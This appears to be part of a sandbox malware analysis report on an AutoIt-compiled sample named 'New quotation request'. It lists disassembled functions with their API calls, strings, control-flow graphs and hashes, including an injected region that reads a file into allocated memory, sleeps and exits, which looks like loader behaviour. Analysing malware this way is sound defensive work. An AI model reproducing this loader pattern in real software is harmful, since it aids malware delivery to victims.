                                                                    Function 00319155 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    APIs
                                                                      • Part of subcall function 00318F5F: __time64.LIBCMT ref: 00318F69
                                                                      • Part of subcall function 002B4EE5: _fseek.LIBCMT ref: 002B4EFD
                                                                    • __wsplitpath.LIBCMT ref: 00319234
                                                                      • Part of subcall function 002D40FB: __wsplitpath_helper.LIBCMT ref: 002D413B
                                                                    • _wcscpy.LIBCMT ref: 00319247
                                                                    • _wcscat.LIBCMT ref: 0031925A
                                                                    • __wsplitpath.LIBCMT ref: 0031927F
                                                                    • _wcscat.LIBCMT ref: 00319295
                                                                    • _wcscat.LIBCMT ref: 003192A8
                                                                      • Part of subcall function 00318FA5: _memmove.LIBCMT ref: 00318FDE
                                                                      • Part of subcall function 00318FA5: _memmove.LIBCMT ref: 00318FED
                                                                    • _wcscmp.LIBCMT ref: 003191EF
                                                                      • Part of subcall function 00319734: _wcscmp.LIBCMT ref: 00319824
                                                                      • Part of subcall function 00319734: _wcscmp.LIBCMT ref: 00319837
                                                                    • DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00319452
                                                                    • _wcsncpy.LIBCMT ref: 003194C5
                                                                    • DeleteFileW.KERNEL32(?,?), ref: 003194FB
                                                                    • CopyFileW.KERNELBASE(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00319511
                                                                    • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00319522
                                                                    • DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00319534
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
                                                                    • String ID:
                                                                    • API String ID: 1500180987-0
                                                                    • Opcode ID: 0ecb10070153603181b1864753303ed02212826a2dad5b6a6deafe2f9dde8428
                                                                    • Instruction ID: 122e8a6936674917f18fd9ad814155055e618a42774ba1dd1868bd27309828a1
                                                                    • Opcode Fuzzy Hash: 0ecb10070153603181b1864753303ed02212826a2dad5b6a6deafe2f9dde8428
                                                                    • Instruction Fuzzy Hash: 48C15BB1D00219AACF26DF95CC95ADEB7BDEF59340F0040AAF609E7241DB309A948F65
                                                                    Function 002B3015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 71windowregistryCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    APIs
                                                                    • GetSysColorBrush.USER32(0000000F), ref: 002B3074
                                                                    • RegisterClassExW.USER32(00000030), ref: 002B309E
                                                                    • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 002B30AF
                                                                    • InitCommonControlsEx.COMCTL32(?), ref: 002B30CC
                                                                    • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 002B30DC
                                                                    • LoadIconW.USER32(000000A9), ref: 002B30F2
                                                                    • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 002B3101
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                    • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                    • API String ID: 2914291525-1005189915
                                                                    • Opcode ID: fb6609bd788b1c4e13e4ee3c6441ff0842b4b216bd04be2d08e3cb66c1a39729
                                                                    • Instruction ID: 258eb78dfe426b99255fd6de924f90bfa0c31316091b1c8af14dc147c70cdbc2
                                                                    • Opcode Fuzzy Hash: fb6609bd788b1c4e13e4ee3c6441ff0842b4b216bd04be2d08e3cb66c1a39729
                                                                    • Instruction Fuzzy Hash: 3E314771D44349AFDB12CFA4E888A89BBF8FB09310F14456EE584E62A1D3B54585CF51
                                                                    Function 002B3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54windowregistryCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    APIs
                                                                    • GetSysColorBrush.USER32(0000000F), ref: 002B3074
                                                                    • RegisterClassExW.USER32(00000030), ref: 002B309E
                                                                    • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 002B30AF
                                                                    • InitCommonControlsEx.COMCTL32(?), ref: 002B30CC
                                                                    • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 002B30DC
                                                                    • LoadIconW.USER32(000000A9), ref: 002B30F2
                                                                    • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 002B3101
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                    • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                    • API String ID: 2914291525-1005189915
                                                                    • Opcode ID: ad35b0ecf83525f59192ac49193775a4bfd87e12ae5f49a0ec6ad9fd58e6b6a3
                                                                    • Instruction ID: 40d858793f680c3e6f61ef5d74cd73ec83db52d9e1a3b81d3ccdb1b6b1e0f29c
                                                                    • Opcode Fuzzy Hash: ad35b0ecf83525f59192ac49193775a4bfd87e12ae5f49a0ec6ad9fd58e6b6a3
                                                                    • Instruction Fuzzy Hash: D121C7B1D11318AFDB16DFA8ED89BDDBBF8FB08700F40412AF915A62A0D7B145848F91
                                                                    Function 002B708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    APIs
                                                                      • Part of subcall function 002B4706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,003752F8,?,002B37AE,?), ref: 002B4724
                                                                      • Part of subcall function 002D050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,002B7165), ref: 002D052D
                                                                    • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 002B71A8
                                                                    • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 002EE8C8
                                                                    • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 002EE909
                                                                    • RegCloseKey.ADVAPI32(?), ref: 002EE947
                                                                    • _wcscat.LIBCMT ref: 002EE9A0
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
                                                                    • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                                                    • API String ID: 2673923337-2727554177
                                                                    • Opcode ID: 3c495147c429017f10fe35f963838a8a614ad39eaac7bbbe95644ba4b69e8a75
                                                                    • Instruction ID: ea0d8b2c3c0d2b37188db3869c62bd5e5a3064586e90fa575e34ff763289b783
                                                                    • Opcode Fuzzy Hash: 3c495147c429017f10fe35f963838a8a614ad39eaac7bbbe95644ba4b69e8a75
                                                                    • Instruction Fuzzy Hash: 8171AF714187019EC751EF25E8929ABB7ECFF84350F80092EF449972B2DB719998CF51
                                                                    Function 002B3633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151windowtimeregistryCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 760 2b3633-2b3681 762 2b3683-2b3686 760->762 763 2b36e1-2b36e3 760->763 764 2b3688-2b368f 762->764 765 2b36e7 762->765 763->762 766 2b36e5 763->766 770 2b374b-2b3753 PostQuitMessage 764->770 771 2b3695-2b369a 764->771 768 2ed0cc-2ed0fa call 2c1070 call 2c1093 765->768 769 2b36ed-2b36f0 765->769 767 2b36ca-2b36d2 DefWindowProcW 766->767 778 2b36d8-2b36de 767->778 807 2ed0ff-2ed106 768->807 772 2b36f2-2b36f3 769->772 773 2b3715-2b373c SetTimer RegisterWindowMessageW 769->773 777 2b3711-2b3713 770->777 775 2ed154-2ed168 call 312527 771->775 776 2b36a0-2b36a2 771->776 779 2ed06f-2ed072 772->779 780 2b36f9-2b370c KillTimer call 2b443a call 2b3114 772->780 773->777 782 2b373e-2b3749 CreatePopupMenu 773->782 775->777 801 2ed16e 775->801 783 2b36a8-2b36ad 776->783 784 2b3755-2b3764 call 2b44a0 776->784 777->778 792 2ed0a8-2ed0c7 MoveWindow 779->792 793 2ed074-2ed076 779->793 780->777 782->777 788 2ed139-2ed140 783->788 789 2b36b3-2b36b8 783->789 784->777 788->767 797 2ed146-2ed14f call 307c36 788->797 799 2b36be-2b36c4 789->799 800 2ed124-2ed134 call 312d36 789->800 792->777 794 2ed078-2ed07b 793->794 795 2ed097-2ed0a3 SetFocus 793->795 794->799 803 2ed081-2ed092 call 2c1070 794->803 795->777 797->767 799->767 799->807 800->777 801->767 803->777 807->767 811 2ed10c-2ed11f call 2b443a call 2b434a 807->811 811->767
                                                                    APIs
                                                                    • DefWindowProcW.USER32(?,?,?,?), ref: 002B36D2
                                                                    • KillTimer.USER32(?,00000001), ref: 002B36FC
                                                                    • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 002B371F
                                                                    • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 002B372A
                                                                    • CreatePopupMenu.USER32 ref: 002B373E
                                                                    • PostQuitMessage.USER32(00000000), ref: 002B374D
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                                    • String ID: TaskbarCreated$%4
                                                                    • API String ID: 129472671-1770572163
                                                                    • Opcode ID: b2c0c122cce549c1cc031703332521257d9f3fb202e1734e0eed34f82ef90d20
                                                                    • Instruction ID: 507c2e8222475892084a12c9f66c23c2b6957e4fbb79af0a32db1dbf4972ead0
                                                                    • Opcode Fuzzy Hash: b2c0c122cce549c1cc031703332521257d9f3fb202e1734e0eed34f82ef90d20
                                                                    • Instruction Fuzzy Hash: 424159B1230906BFDB2AEF24DC49BF9375CEB00380F940525F506D62A2CFE49DB0A665
                                                                    Function 002B3A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71windowregistryCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    APIs
                                                                    • GetSysColorBrush.USER32(0000000F), ref: 002B3A50
                                                                    • LoadCursorW.USER32(00000000,00007F00), ref: 002B3A5F
                                                                    • LoadIconW.USER32(00000063), ref: 002B3A76
                                                                    • LoadIconW.USER32(000000A4), ref: 002B3A88
                                                                    • LoadIconW.USER32(000000A2), ref: 002B3A9A
                                                                    • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 002B3AC0
                                                                    • RegisterClassExW.USER32(?), ref: 002B3B16
                                                                      • Part of subcall function 002B3041: GetSysColorBrush.USER32(0000000F), ref: 002B3074
                                                                      • Part of subcall function 002B3041: RegisterClassExW.USER32(00000030), ref: 002B309E
                                                                      • Part of subcall function 002B3041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 002B30AF
                                                                      • Part of subcall function 002B3041: InitCommonControlsEx.COMCTL32(?), ref: 002B30CC
                                                                      • Part of subcall function 002B3041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 002B30DC
                                                                      • Part of subcall function 002B3041: LoadIconW.USER32(000000A9), ref: 002B30F2
                                                                      • Part of subcall function 002B3041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 002B3101
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                    • String ID: #$0$AutoIt v3
                                                                    • API String ID: 423443420-4155596026
                                                                    • Opcode ID: 9ec4e07afcf17d106bc96555054a9fd932ec3ab81336e5cc238f8909ed0dea03
                                                                    • Instruction ID: c1b6278eb48858528ef54cdca5955017b9fa5644063cffddc0f03dfcd2969df8
                                                                    • Opcode Fuzzy Hash: 9ec4e07afcf17d106bc96555054a9fd932ec3ab81336e5cc238f8909ed0dea03
                                                                    • Instruction Fuzzy Hash: 1D214D70D10304AFEB26DFA4EC49B9D7BF9FB08751F10091AE608A62A2D7F655909F84
                                                                    Function 002B3766 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
                                                                    • String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW$R7
                                                                    • API String ID: 1825951767-761371267
                                                                    • Opcode ID: de2720bd6329737929db2b381045296deca83afbd0e18396c3f88cba4a42517c
                                                                    • Instruction ID: b26f58b54c4a05a9f4f3b5a8580adda883b9efc9f5dd887244d9a38d19c61e01
                                                                    • Opcode Fuzzy Hash: de2720bd6329737929db2b381045296deca83afbd0e18396c3f88cba4a42517c
                                                                    • Instruction Fuzzy Hash: 2CA17C71D2021D9ADF15EBA0DC95AEEB778BF14380F44042AF415B7192EF74AA58CFA0
                                                                    Function 002BF76F Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168comCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    APIs
                                                                      • Part of subcall function 002D0162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 002D0193
                                                                      • Part of subcall function 002D0162: MapVirtualKeyW.USER32(00000010,00000000), ref: 002D019B
                                                                      • Part of subcall function 002D0162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 002D01A6
                                                                      • Part of subcall function 002D0162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 002D01B1
                                                                      • Part of subcall function 002D0162: MapVirtualKeyW.USER32(00000011,00000000), ref: 002D01B9
                                                                      • Part of subcall function 002D0162: MapVirtualKeyW.USER32(00000012,00000000), ref: 002D01C1
                                                                      • Part of subcall function 002C60F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,002BF930), ref: 002C6154
                                                                    • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 002BF9CD
                                                                    • OleInitialize.OLE32(00000000), ref: 002BFA4A
                                                                    • CloseHandle.KERNEL32(00000000), ref: 002F45C8
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                                    • String ID: <W7$\T7$%4$S7
                                                                    • API String ID: 1986988660-1010537161
                                                                    • Opcode ID: 3a26eb5b0d1c5dc265dbd551293b67fcf0797dfe50c96f2d7326f8e7b5acb21c
                                                                    • Instruction ID: 5c167ff676957e09f779a305237569d895fa88a2b705af94627f53da6f2f4974
                                                                    • Opcode Fuzzy Hash: 3a26eb5b0d1c5dc265dbd551293b67fcf0797dfe50c96f2d7326f8e7b5acb21c
                                                                    • Instruction Fuzzy Hash: CA81BDB4911A80CEE3BEDF2AA9456597BEDEB99306F90852E900DCB271E7F444C5CF10
                                                                    Function 015BF3D8 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 983 15bf3d8-15bf486 call 15bce08 986 15bf48d-15bf4b3 call 15c02e8 CreateFileW 983->986 989 15bf4ba-15bf4ca 986->989 990 15bf4b5 986->990 998 15bf4cc 989->998 999 15bf4d1-15bf4eb VirtualAlloc 989->999 991 15bf605-15bf609 990->991 992 15bf64b-15bf64e 991->992 993 15bf60b-15bf60f 991->993 995 15bf651-15bf658 992->995 996 15bf61b-15bf61f 993->996 997 15bf611-15bf614 993->997 1002 15bf65a-15bf665 995->1002 1003 15bf6ad-15bf6c2 995->1003 1004 15bf62f-15bf633 996->1004 1005 15bf621-15bf62b 996->1005 997->996 998->991 1000 15bf4ed 999->1000 1001 15bf4f2-15bf509 ReadFile 999->1001 1000->991 1006 15bf50b 1001->1006 1007 15bf510-15bf550 VirtualAlloc 1001->1007 1008 15bf669-15bf675 1002->1008 1009 15bf667 1002->1009 1010 15bf6d2-15bf6da 1003->1010 1011 15bf6c4-15bf6cf VirtualFree 1003->1011 1012 15bf643 1004->1012 1013 15bf635-15bf63f 1004->1013 1005->1004 1006->991 1014 15bf552 1007->1014 1015 15bf557-15bf572 call 15c0538 1007->1015 1016 15bf689-15bf695 1008->1016 1017 15bf677-15bf687 1008->1017 1009->1003 1011->1010 1012->992 1013->1012 1014->991 1023 15bf57d-15bf587 1015->1023 1020 15bf6a2-15bf6a8 1016->1020 1021 15bf697-15bf6a0 1016->1021 1019 15bf6ab 1017->1019 1019->995 1020->1019 1021->1019 1024 15bf5ba-15bf5ce call 15c0348 1023->1024 1025 15bf589-15bf5b8 call 15c0538 1023->1025 1030 15bf5d2-15bf5d6 1024->1030 1031 15bf5d0 1024->1031 1025->1023 1033 15bf5d8-15bf5dc CloseHandle 1030->1033 1034 15bf5e2-15bf5e6 1030->1034 1031->991 1033->1034 1035 15bf5e8-15bf5f3 VirtualFree 1034->1035 1036 15bf5f6-15bf5ff 1034->1036 1035->1036 1036->986 1036->991
                                                                    APIs
                                                                    • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 015BF4A9
                                                                    • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 015BF6CF
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1678033547.00000000015BC000.00000040.00000020.00020000.00000000.sdmp, Offset: 015BC000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_15bc000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CreateFileFreeVirtual
                                                                    • String ID:
                                                                    • API String ID: 204039940-0
                                                                    • Opcode ID: e364f936384ad5a75a3e6820b612275e2b186d73597ef444eab7978b091760cf
                                                                    • Instruction ID: c22c1da6a3fe06d73e2dab6a426d94464a20b34311dcbe0e24bc97811f72e522
                                                                    • Opcode Fuzzy Hash: e364f936384ad5a75a3e6820b612275e2b186d73597ef444eab7978b091760cf
                                                                    • Instruction Fuzzy Hash: BEA11774E00209EBDB14CFA4C998BEEBBB5FF48304F20855AE605BB291D7759A41CF64
                                                                    Function 002B39D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 1114 2b39d5-2b3a45 CreateWindowExW * 2 ShowWindow * 2
                                                                    APIs
                                                                    • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 002B3A03
                                                                    • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 002B3A24
                                                                    • ShowWindow.USER32(00000000,?,?), ref: 002B3A38
                                                                    • ShowWindow.USER32(00000000,?,?), ref: 002B3A41
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$CreateShow
                                                                    • String ID: AutoIt v3$edit
                                                                    • API String ID: 1584632944-3779509399
                                                                    • Opcode ID: 4a1a8d8a4d1328e4faf76af352111efe92d0f6becce8b6ed1de4f6cb0cbecf5e
                                                                    • Instruction ID: 9ad01a35aa0a0c7de8854ff6a4c719cb15bcd481313074ebd329fdc5103dcaa8
                                                                    • Opcode Fuzzy Hash: 4a1a8d8a4d1328e4faf76af352111efe92d0f6becce8b6ed1de4f6cb0cbecf5e
                                                                    • Instruction Fuzzy Hash: 3CF03A709002907EEA3257236C89E6B2E7DD7C6F50F00042EFA08A2271C6A10880DAB0
                                                                    Function 015BF1B8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 140fileCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 1115 15bf1b8-15bf2d4 call 15bce08 call 15bf0a8 CreateFileW 1122 15bf2db-15bf2eb 1115->1122 1123 15bf2d6 1115->1123 1126 15bf2ed 1122->1126 1127 15bf2f2-15bf30c VirtualAlloc 1122->1127 1124 15bf38b-15bf390 1123->1124 1126->1124 1128 15bf30e 1127->1128 1129 15bf310-15bf327 ReadFile 1127->1129 1128->1124 1130 15bf32b-15bf365 call 15bf0e8 call 15be0a8 1129->1130 1131 15bf329 1129->1131 1136 15bf381-15bf389 ExitProcess 1130->1136 1137 15bf367-15bf37c call 15bf138 1130->1137 1131->1124 1136->1124 1137->1136
                                                                    APIs
                                                                      • Part of subcall function 015BF0A8: Sleep.KERNELBASE(000001F4), ref: 015BF0B9
                                                                    • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 015BF2CA
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1678033547.00000000015BC000.00000040.00000020.00020000.00000000.sdmp, Offset: 015BC000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_15bc000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CreateFileSleep
                                                                    • String ID: XS11S78PQ4
                                                                    • API String ID: 2694422964-130635501
                                                                    • Opcode ID: c4d396cfd219020ce62f2a20f9e691f85eb793f90f468173dfb83f981fca41e5
                                                                    • Instruction ID: d5ed3c554854d47c22cc3e802b77b97013dde261d1430ab49a3df624d46f69e9
                                                                    • Opcode Fuzzy Hash: c4d396cfd219020ce62f2a20f9e691f85eb793f90f468173dfb83f981fca41e5
                                                                    • Instruction Fuzzy Hash: 4C519E31D05249EBEF11DBA4CC55BEEBB78BF59300F004599E609BB2C0D6791B49CBA1
                                                                    Function 002B407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
